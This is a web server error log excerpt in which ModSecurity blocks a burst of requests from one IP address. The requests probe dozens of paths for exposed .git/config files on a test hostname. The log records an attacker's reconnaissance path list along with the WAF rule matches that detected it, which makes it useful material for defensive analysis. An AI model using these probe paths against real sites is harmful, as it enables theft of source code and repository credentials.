[Thu Jan 16 14:20:44.633413 2025] [:error] [pid 510617] [client 45.135.232.70:48142] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJwAAAAs&quot;]
[Thu Jan 16 14:20:44.633721 2025] [:error] [pid 501744] [client 45.135.232.70:48788] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGQAAAAY&quot;]
[Thu Jan 16 14:20:44.634284 2025] [:error] [pid 501744] [client 45.135.232.70:48788] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGQAAAAY&quot;]
[Thu Jan 16 14:20:44.634643 2025] [:error] [pid 501744] [client 45.135.232.70:48788] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGQAAAAY&quot;]
[Thu Jan 16 14:20:44.639804 2025] [:error] [pid 510631] [client 45.135.232.70:48236] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/mailer-config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/mailer-config/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExWAAAAA4&quot;]
[Thu Jan 16 14:20:44.640168 2025] [:error] [pid 510631] [client 45.135.232.70:48236] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/mailer-config/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExWAAAAA4&quot;]
[Thu Jan 16 14:20:44.640414 2025] [:error] [pid 510631] [client 45.135.232.70:48236] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/mailer-config/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExWAAAAA4&quot;]
[Thu Jan 16 14:20:44.642264 2025] [:error] [pid 510629] [client 45.135.232.70:48812] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /common/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/mail/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0QAAAAw&quot;]
[Thu Jan 16 14:20:44.642519 2025] [:error] [pid 510629] [client 45.135.232.70:48812] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/mail/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0QAAAAw&quot;]
[Thu Jan 16 14:20:44.642709 2025] [:error] [pid 510629] [client 45.135.232.70:48812] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/mail/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0QAAAAw&quot;]
[Thu Jan 16 14:20:44.645847 2025] [:error] [pid 510637] [client 45.135.232.70:48238] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /m/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcgAAAA8&quot;]
[Thu Jan 16 14:20:44.646099 2025] [:error] [pid 510637] [client 45.135.232.70:48238] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcgAAAA8&quot;]
[Thu Jan 16 14:20:44.646304 2025] [:error] [pid 510637] [client 45.135.232.70:48238] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcgAAAA8&quot;]
[Thu Jan 16 14:20:44.666755 2025] [:error] [pid 500653] [client 45.135.232.70:48308] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /notifications/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/notifications/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBwAAAAE&quot;]
[Thu Jan 16 14:20:44.667071 2025] [:error] [pid 500653] [client 45.135.232.70:48308] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/notifications/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBwAAAAE&quot;]
[Thu Jan 16 14:20:44.667282 2025] [:error] [pid 500653] [client 45.135.232.70:48308] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/notifications/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBwAAAAE&quot;]
[Thu Jan 16 14:20:44.724128 2025] [:error] [pid 510615] [client 45.135.232.70:48368] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/mail/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0sQAAAAk&quot;]
[Thu Jan 16 14:20:44.724720 2025] [:error] [pid 510615] [client 45.135.232.70:48368] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/mail/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0sQAAAAk&quot;]
[Thu Jan 16 14:20:44.725148 2025] [:error] [pid 510615] [client 45.135.232.70:48368] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/mail/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0sQAAAAk&quot;]
[Thu Jan 16 14:20:44.749048 2025] [:error] [pid 510616] [client 45.135.232.70:48416] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/services/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/services/mail/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NgAAAAo&quot;]
[Thu Jan 16 14:20:44.749757 2025] [:error] [pid 510616] [client 45.135.232.70:48416] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/services/mail/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NgAAAAo&quot;]
[Thu Jan 16 14:20:44.750191 2025] [:error] [pid 510616] [client 45.135.232.70:48416] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/services/mail/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NgAAAAo&quot;]
[Thu Jan 16 14:20:44.750857 2025] [:error] [pid 507252] [client 45.135.232.70:48320] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNrQAAAAc&quot;]
[Thu Jan 16 14:20:44.751561 2025] [:error] [pid 507252] [client 45.135.232.70:48320] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNrQAAAAc&quot;]
[Thu Jan 16 14:20:44.752040 2025] [:error] [pid 507252] [client 45.135.232.70:48320] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNrQAAAAc&quot;]
[Thu Jan 16 14:20:44.752952 2025] [:error] [pid 500655] [client 45.135.232.70:48380] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfwAAAAM&quot;]
[Thu Jan 16 14:20:44.753442 2025] [:error] [pid 500655] [client 45.135.232.70:48380] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfwAAAAM&quot;]
[Thu Jan 16 14:20:44.753742 2025] [:error] [pid 500655] [client 45.135.232.70:48380] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfwAAAAM&quot;]
[Thu Jan 16 14:20:44.764491 2025] [:error] [pid 501744] [client 45.135.232.70:48298] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGgAAAAY&quot;]
[Thu Jan 16 14:20:44.765106 2025] [:error] [pid 501744] [client 45.135.232.70:48298] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGgAAAAY&quot;]
[Thu Jan 16 14:20:44.765513 2025] [:error] [pid 501744] [client 45.135.232.70:48298] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGgAAAAY&quot;]
[Thu Jan 16 14:20:44.769232 2025] [:error] [pid 510631] [client 45.135.232.70:48834] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/mail/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExWQAAAA4&quot;]
